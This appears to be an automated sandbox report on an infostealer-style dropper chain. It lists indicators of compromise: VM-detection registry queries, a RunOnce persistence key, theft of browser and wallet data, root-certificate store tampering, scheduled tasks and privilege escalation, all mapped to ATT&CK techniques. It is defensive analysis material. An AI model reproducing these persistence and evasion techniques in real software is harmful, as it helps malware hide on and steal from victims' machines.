djvu | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5041774.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6674615.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6674615.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8896686.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8896686.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5041774.scr

Loads dropped DLL 64 IoCs

pid	Process
856	setup_x86_x64_install.exe
1404	setup_installer.exe
1404	setup_installer.exe
1404	setup_installer.exe
1404	setup_installer.exe
1404	setup_installer.exe
1404	setup_installer.exe
976	setup_install.exe
976	setup_install.exe
976	setup_install.exe
976	setup_install.exe
976	setup_install.exe
976	setup_install.exe
976	setup_install.exe
976	setup_install.exe
540	cmd.exe
1336	cmd.exe
1948	cmd.exe
1000	cmd.exe
1000	cmd.exe
1860	cmd.exe
1760	cmd.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1684	cmd.exe
760	Sun1908b94df837b3158.exe
760	Sun1908b94df837b3158.exe
1684	cmd.exe
1828	cmd.exe
1800	Sun19262b9e49ad.exe
1800	Sun19262b9e49ad.exe
1980	cmd.exe
1108	Sun19de8ff4b6aefeb8.exe
1108	Sun19de8ff4b6aefeb8.exe
520	cmd.exe
972	2.exe
520	cmd.exe
2080	Sun195a1614ec24e6a.exe
2080	Sun195a1614ec24e6a.exe
672	cmd.exe
2164	2325968.exe
2164	2325968.exe
2108	Sun19eb40faaaa9.exe
2108	Sun19eb40faaaa9.exe
2164	2325968.exe
2296	Sun1966fb31dd5a07.tmp
2296	Sun1966fb31dd5a07.tmp
2296	Sun1966fb31dd5a07.tmp
2296	Sun1966fb31dd5a07.tmp
2660	WerFault.exe
2660	WerFault.exe
2660	WerFault.exe
2660	WerFault.exe
2668	WerFault.exe
2668	WerFault.exe
2668	WerFault.exe
2668	WerFault.exe
2668	WerFault.exe
2660	WerFault.exe
3040	LzmwAqmV.exe
3040	LzmwAqmV.exe
3040	LzmwAqmV.exe
3040	LzmwAqmV.exe
2092	ultramediaburner.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2860	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Internet Explorer\\Falaehaegaega.exe\""	Ze2ro.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5041774.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6674615.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8896686.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
169	api.2ip.ua
170	api.2ip.ua
195	api.2ip.ua
13	ip-api.com
34	ipinfo.io
35	ipinfo.io
90	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2828	5041774.scr
2388	6674615.scr
2164	conhost.exe
3320	8896686.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2184 set thread context of 2776	2184	4498685.scr	98
PID 1748 set thread context of 3680	1748	4671479.exe	118

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files\Windows Portable Devices\EPLMWCIQKN\ultramediaburner.exe.config	Ze2ro.exe
File created	C:\Program Files (x86)\Internet Explorer\Falaehaegaega.exe.config	Ze2ro.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-4G00J.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-I4UNB.tmp	ultramediaburner.tmp
File created	C:\Program Files\Windows Portable Devices\EPLMWCIQKN\ultramediaburner.exe	Ze2ro.exe
File created	C:\Program Files (x86)\Internet Explorer\Falaehaegaega.exe	Ze2ro.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 9 IoCs

pid	pid_target	Process	procid_target
2668	1800	WerFault.exe	43
2660	1772	WerFault.exe	39
828	2108	WerFault.exe	48
2936	972	WerFault.exe	71
2848	2184	WerFault.exe	89
3164	2844	WerFault.exe	92
3724	1748	WerFault.exe	99
1224	1656	WerFault.exe	50
760	2916	WerFault.exe	101

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	WerFault.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3848	schtasks.exe
3208	schtasks.exe
2068	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
3296	timeout.exe
2148	timeout.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
1500	taskkill.exe
1128	taskkill.exe
2824	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0689E8A0-19D0-11EC-A19F-623C374619D2} = "0"	iexplore.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Sun19262b9e49ad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun191101c1aaa.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun191101c1aaa.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun191101c1aaa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun19e4ade31b2a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun19e4ade31b2a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Sun19262b9e49ad.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	91	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
760	WerFault.exe
760	WerFault.exe
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1448	Process not Found
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1772	Sun1917b8fb5f09db8.exe
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found
1448	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1448	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
760	WerFault.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1800	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	1800	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	1800	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	1800	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	1800	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	1800	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	1800	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	1800	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	1800	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	1800	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	1800	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	1800	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	1800	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	1800	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	1800	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	1800	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	1800	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	1800	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	1800	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	1800	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	1800	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	1800	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	1800	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	1800	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	1800	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	1800	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	1800	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	1800	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	1800	Sun19262b9e49ad.exe
Token: 31	1800	Sun19262b9e49ad.exe
Token: 32	1800	Sun19262b9e49ad.exe
Token: 33	1800	Sun19262b9e49ad.exe
Token: 34	1800	Sun19262b9e49ad.exe
Token: 35	1800	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	2668	WerFault.exe
Token: SeDebugPrivilege	2660	WerFault.exe
Token: SeDebugPrivilege	2824	taskkill.exe
Token: SeDebugPrivilege	1204	Sun191101c1aaa.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeDebugPrivilege	2080	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	1716	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	2140	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	972	2.exe
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeDebugPrivilege	828	WerFault.exe
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeDebugPrivilege	1312	6301847.scr
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeDebugPrivilege	2844	5.exe
Token: SeDebugPrivilege	3056	1676163.exe
Token: SeDebugPrivilege	2184	4498685.scr
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
Token: SeShutdownPrivilege	1448	Process not Found
